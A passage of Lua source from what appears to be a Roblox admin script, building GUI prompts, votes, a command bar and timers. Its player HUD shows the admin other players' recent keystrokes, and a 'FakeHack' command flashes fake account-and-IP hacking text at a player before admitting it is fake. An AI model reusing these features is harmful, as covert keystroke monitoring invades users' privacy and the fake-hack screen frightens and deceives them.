4486 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4487 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4488 InfoLabel.Text = "Name: "..Player.Name..[[
4489Rank: ]]..RANK:GetRank(Player)..[[
4490Age: ]]..STRING:FindAge(Player.AccountAge)
4491 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4492 InfoLabel.Text = InfoLabel.Text..[[
4493Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4494 end
4495 if LastKeys[Player.UserId] then
4496 local Keys = ""
4497 local KeyLog = {}
4498 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4499 table.insert(KeyLog, KeyData[1])
4500 if KeyData[2] == 8 then
4501 Keys = string.sub(Keys, 1, #Keys - 1)
4502 elseif KeyData[2] == 13 then
4503 Keys = Keys.." "
4504 else
4505 Keys = Keys..string.char(KeyData[2])
4506 end
4507 end
4508 KeyLabel.Text = table.concat(KeyLog, "\n")
4509 KeyOutput.Text = Keys
4510 end
4511 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4512 end end)()
4513
4514 local CharRev,Removing = nil,nil
4515 CharRev = Player.CharacterRemoving:connect(function()
4516 PlayerHUD:Destroy()
4517 CharRev:disconnect()
4518 Removing:disconnect()
4519 end)
4520 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4521 PlayerHUD:Destroy()
4522 CharRev:disconnect()
4523 Removing:disconnect()
4524 end end)
4525 end
4526
4527 local function ConnectHUD(Player)
4528 if Player ~= Speaker then
4529 if Player.Character then
4530 AddHUD(Player, Player.Character)
4531 end
4532
4533 Player.CharacterAdded:connect(function(Char)
4534 if Speaker then
4535 AddHUD(Player, Char)
4536 else return nil
4537 end
4538 end)
4539 end
4540 end
4541
4542 for _,Player in pairs(Server.Players:GetPlayers()) do
4543 ConnectHUD(Player)
4544 end
4545
4546 Server.Players.PlayerAdded:connect(ConnectHUD)
4547end
4548
4549function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4550 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4551 local Stopped = false
4552
4553 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4554 Frame.Size = UDim2.new(1, 0, 1, -30)
4555 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4556
4557 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4558 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4559 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4560
4561 local function AddLine(Speaker, MessageText, MessageColor)
4562 MessageText = STRING:Defilter(MessageText)
4563 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4564 if not MessageColor then MessageColor = GUI:ContrastColor() end
4565 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4566 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4567 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4568 Bounds.Parent = Frame
4569 end
4570
4571 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4572
4573 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4574 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4575 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4576
4577 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4578 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4579
4580 CORE:ExecuteResource("MessagePromptHandler", Frame)
4581
4582 wait(0.1)
4583
4584 if PreAdd then
4585 for Num,Add in pairs(PreAdd) do
4586 AddLine(Add[1], Add[2], Add[3])
4587 end
4588 end
4589
4590 --[[
4591 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4592
4593 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4594 if ChatBox.Text == "Click here or press the '-' key" then
4595 ChatBox.Text = ""
4596 end
4597 end)
4598 ]]
4599
4600 local function FireSendPressed()
4601 local Text = CORE:ReadProperty(RPR, Player, "Text")
4602 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4603 SendPressed:Fire(Text)
4604 FakeCB.Visible = true
4605 ClearCB:InvokeClient(Player)
4606 end
4607 end
4608
4609 Closed.Event:connect(function()
4610 if Stopped == false then
4611 Stopped = true
4612 if SpeakerEvents then SpeakerEvents("Leave") end
4613 end
4614 end)
4615
4616 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4617 EnterPressed.OnServerInvoke = FireSendPressed
4618 AddMessage.OnInvoke = AddLine
4619
4620 if SpeakerEvents then
4621 SpeakerEvents("Join")
4622
4623 coroutine.wrap(function()
4624 repeat wait() until not Frame or not Frame.Parent
4625 if Stopped == false then
4626 Stopped = true
4627 SpeakerEvents("Leave")
4628 end
4629 end)()
4630 end
4631
4632 return SendPressed, AddMessage
4633end
4634
4635function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons)
4636 if tonumber(Time) then ShowFormButtons = false end
4637 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4638 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4639 local Clicked = nil
4640 local Alive = true
4641
4642 local function ClosePrompt(ButtonName)
4643 Alive = false
4644 Close:Invoke()
4645 Clicked = ButtonName
4646 end
4647
4648 for Num,Select in pairs(Buttons) do
4649 local Name = Select
4650 local Style = "White"
4651 local TextColor3 = Color3.new(0,0,0)
4652 if type(Select) == "table" then
4653 Name = Select[1]
4654 if Select[2] then Style = Select[2] end
4655 if Select[3] then TextColor3 = Select[3] end
4656 elseif type(Select) == "string" then
4657 local Case = string.lower(Select)
4658 if Case == "ok" then
4659 Name = "Ok"
4660 Style = "Primary"
4661 TextColor3 = Color3.new(1,1,1)
4662 elseif Case == "yes" then
4663 Name = "Yes"
4664 Style = "Gray"
4665 TextColor3 = Color3.new(0,1,0)
4666 elseif Case == "no" then
4667 Name = "No"
4668 Style = "Red"
4669 TextColor3 = Color3.new(1,0,0)
4670 end
4671 end
4672
4673 if Style == "None" then Style = "Custom" end
4674 if Style == "Casual" then Style = "RobloxButton" end
4675 if Style == "Red" then Style = "RobloxButtonDefault" end
4676 if Style == "Gray" then Style = "RobloxRoundButton" end
4677 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4678 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4679
4680 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4681 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4682 SOUND:BindButton(Button)
4683 end
4684
4685 if tonumber(Time) then
4686 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4687 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4688 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4689
4690 for i = Time,0,-1 do
4691 for ii = 1,10 do
4692 if Alive == true then
4693 Ticker.Text = i
4694 wait(0.1)
4695 else
4696 break
4697 end
4698 end
4699 end
4700 if Alive == true then
4701 ClosePrompt()
4702 end
4703 end
4704
4705 repeat wait() until Alive == false
4706 return Clicked
4707end
4708
4709function GUI:Vote(Speaker, Players, Text, Time)
4710 if not Players or not Text or #Players <= 0 then return end
4711
4712 Text = STRING:Defilter(Text)
4713 local Votes = {}
4714 local Tick = 0
4715
4716 for _,Player in pairs(Players) do
4717 local CanVote = true
4718 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4719 if CanVote == true then
4720 coroutine.wrap(function()
4721 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, nil, {"Yes", "No"}, Time)
4722 if Answer == nil then Answer = "Unknown" end
4723 table.insert(Votes, Answer)
4724 end)()
4725 end
4726 end
4727 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4728 wait(2)
4729 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4730 local Total = #Players
4731 local Yes,No,Unknown = 0,0,0
4732 for _,Vote in pairs(Votes) do
4733 if Vote == "Yes" then Yes = Yes + 1
4734 elseif Vote == "No" then No = No + 1
4735 end
4736 end
4737 Unknown = #Players - #Votes
4738
4739 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4740 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4741 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4742]]..Yes.."/"..Total..[[
4743]]..math.ceil((Yes/Total)*100).."% "
4744 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4745]]..No.."/"..Total..[[
4746]]..math.ceil((No/Total)*100).."% "
4747 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4748]]..Unknown.."/"..Total..[[
4749]]..math.ceil((Unknown/Total)*100).."% "
4750 end
4751end
4752
4753function GUI:LoadGui(Player, Text, InfoText)
4754 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4755 local Dead = false
4756
4757 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4758 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4759 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4760 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4761 if InfoText then Info.Text = InfoText end
4762
4763 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4764 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4765
4766 CloseGui.OnInvoke = function()
4767 Close:Invoke()
4768 Dead = true
4769 end
4770 AddInfo.OnInvoke = function(AddText)
4771 Info.Text = AddText
4772 end
4773
4774 coroutine.wrap(function()
4775 for i = 0,math.huge,3 do
4776 if Dead == false and Frame then
4777 WaitIcon.Rotation = i
4778 wait()
4779 else
4780 break
4781 end
4782 end
4783 end)()
4784
4785 coroutine.wrap(function()
4786 while Dead == false and Frame do
4787 wait(0.5)
4788 LoadLabel.Text = Text.."."
4789 wait(0.5)
4790 LoadLabel.Text = Text..".."
4791 wait(0.5)
4792 LoadLabel.Text = Text.."..."
4793 wait(0.5)
4794 LoadLabel.Text = Text..".."
4795 wait(0.5)
4796 LoadLabel.Text = Text.."."
4797 wait(0.5)
4798 LoadLabel.Text = Text
4799 end
4800 end)()
4801
4802 wait(1)
4803
4804 return CloseGui, AddInfo
4805end
4806
4807function GUI:FakeHack(Player) coroutine.wrap(function()
4808 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4809 local FakeText = [[
4810>SHELL: BEGIN
4811>RUNCODE:
4812return {
4813 local Hack = {"Account", "Tix", "Robux"};
4814 function Start(Type, Inject, Scan)
4815 if not Inject then Inject = "In-Game" end
4816 return {Type, Inject, Scan}
4817 end
4818 for Exe,Exploit in pairs(Hack) do
4819 local IP = Start("In-Game",Exploit,
4820 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4821 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4822 )
4823 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4824 for i = 1,#Injection[2] do
4825 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4826 end
4827 local PlayerProxy = newproxy(true)
4828 setmetatable(PlayerProxy,Injection[3],{
4829 __index = function(StealData, ...) local Data = unpack(...)
4830 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4831 end;
4832 })
4833 end
4834 Log("HACKED HOST: PLAYERNAME")
4835}
4836>HACKED HOST: PLAYERNAME
4837
4838]]
4839 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
4840 if SG then SG:Destroy() end
4841 SG = Instance.new("ScreenGui", Player.PlayerGui)
4842 SG.Name = "MML Hack Gui"
4843 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
4844 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
4845 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
4846 for i = 1,#FakeText do
4847 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
4848 if math.random(1,5) == 1 then
4849 wait()
4850 end
4851 end
4852 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
4853 wait(3)
4854 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
4855fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
4856 X.Visible = true
4857end)() end
4858
4859function GUI:CommandBar(Player)
4860 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4861
4862 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
4863 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
4864 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
4865 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
4866
4867 local _,Rank = RANK:GetRank(Player)
4868 local UsableCommands = {}
4869 for CommandNames,Data in pairs(Commands) do
4870 if not Data.Hidden then
4871 if RANK:ConvertRank(Data[4]) <= Rank then
4872 for _,Command in pairs(CommandNames) do
4873 table.insert(UsableCommands, {Command, Data[3]})
4874 end
4875 end
4876 end
4877 end
4878
4879 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
4880
4881 local function ExecuteText()
4882 local Text = CORE:ReadProperty(RPR, Player, "Text")
4883 CORE:Chatted(Text, Player, true)
4884 CommandBox.Text = "Enter a command here"
4885 end
4886
4887 local function AddSuggestion(Text)
4888 if Text == nil then Text = Settings.Prefix end
4889 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
4890 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
4891 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
4892 if Text == Settings.Prefix then
4893 CommandBox.Text = Settings.Prefix
4894 else
4895 CommandBox.Text = Settings.Prefix..Text
4896 end
4897 CORE:ExecuteResource("Focus", CommandBox)
4898 end, true)
4899 end
4900
4901 CORE:HandleEvent(CommandBox, "MouseEnter", function()
4902 if CommandBox.Text == "Enter a command here" then
4903 CommandBox.Text = ""
4904 end
4905 end)
4906
4907 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
4908 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
4909
4910 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
4911 EnterPressed.OnServerInvoke = ExecuteText
4912
4913 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
4914 Suggest.CanvasSize = UDim2.new(0,0,0,0)
4915 Suggest:ClearAllChildren()
4916 local Text = CORE:ReadProperty(RPR, Player, "Text")
4917 if Text == "" then
4918 AddSuggestion(Settings.Prefix)
4919 end
4920
4921 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
4922 Text = string.sub(Text,#Settings.Prefix+1)
4923 end
4924 for _,Data in pairs(UsableCommands) do
4925 local Command,Args = Data[1],Data[2]
4926 if string.find(string.lower(Command),string.lower(Text)) then
4927 local NewSuggestion = Command
4928 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
4929 AddSuggestion(NewSuggestion)
4930 end
4931 end
4932
4933 end end)
4934end
4935function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
4936 if not Player or not AllSeconds then return nil end
4937 AllSeconds = tonumber(AllSeconds)
4938 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
4939 AllSeconds = math.floor(AllSeconds)
4940 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
4941 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
4942 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
4943 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
4944 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
4945 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
4946
4947 local CurrentSeconds = AllSeconds
4948 local Alive = true
4949 coroutine.wrap(function() for i = 0,AllSeconds do
4950 if not Alive then break end
4951 local Seconds = tostring(math.fmod(CurrentSeconds,60))
4952 local Minutes = tostring(math.floor(CurrentSeconds/60))
4953 if #Seconds == 1 then Seconds = "0"..Seconds end
4954 if #Minutes == 1 then Minutes = "0"..Minutes end
4955 Time.Text = Minutes..":"..Seconds
4956 wait(1)
4957 if CurrentSeconds <= 0 then
4958 Alarm:Play()
4959 Time.Text = "00:00"
4960 Part.Size = UDim2.new(1,0,1,0)
4961 Restore:Invoke()
4962 wait(4)
4963 Close:Invoke()
4964 break
4965 else
4966 Tick:Play()
4967 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
4968 CurrentSeconds = CurrentSeconds - 1
4969 end
4970 end end)()
4971
4972 Closed.Event:connect(function()
4973 if Alive == true then
4974 Alive = false
4975 Tick:Stop()
4976 Alarm:Stop()
4977 end
4978 end)
4979end)() end
4980
4981function GUI:DetachChat(Player)
4982 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4983 if Player:FindFirstChild("DetachChatMML") then
4984 Player.DetachChatMML:Invoke(true)
4985 wait()
4986 Player.DetachChatMML:Destroy()
4987 end
4988
4989 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
4990 local SG = Frame.Parent.Parent.Parent
4991
4992 local DCBF = Instance.new("BindableFunction", Player)
4993 DCBF.Name = "DetachChatMML"
4994 DCBF.OnInvoke = function(Remove)
4995 if Remove then
4996 SG:Destroy()
4997 end
4998 end
4999 CORE:ExecuteResource("CoreChat", SG)
5000
5001 local IsClosed = false
5002 Closed.Event:connect(function()
5003 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5004 IsClosed = true
5005 end)
5006
5007 coroutine.wrap(function()
5008 Player.CharacterRemoving:wait()
5009 if not IsClosed then
5010 IsClosed = true
5011 wait(1)
5012 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5013 end
5014 end)()
5015end
5016
5017function GUI:SendChat(Player, Data) coroutine.wrap(function()
5018 if not Player then return nil end
5019 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5020
5021 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5022end)() end
5023
5024function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time)
5025 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5026
5027 local NumSounds = 0
5028 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5029 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5030 NumSounds = NumSounds + 1
5031 end
5032 end
5033
5034 local Size = UDim2.new(0.1, 100, 0.1, 100)
5035 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5036 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5037
5038 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = GUI:ContrastColor() Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5039 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = GUI:ContrastColor() Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5040 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5041 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5042
5043 coroutine.wrap(function()
5044 local Alive = true
5045
5046 local function StopTimer() Alive = false end
5047 Closed.Event:connect(StopTimer)
5048 Minimized.Event:connect(StopTimer)
5049 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5050
5051 for i = Time,0,-1 do
5052 for ii = 1,10 do
5053 if Alive == true then
5054 Timer.Text = i
5055 wait(0.1)
5056 else
5057 break
5058 end
5059 end
5060 end
5061 if Alive == true then
5062 Close:Invoke()
5063 else
5064 Timer:Destroy()
5065 Stop:Destroy()
5066 end
5067 end)()
5068end
5069
5070---- STRING REPLACEMENT OPERATIONS ----
5071
5072-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5073
5074-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5075
5076StringReplacements = {
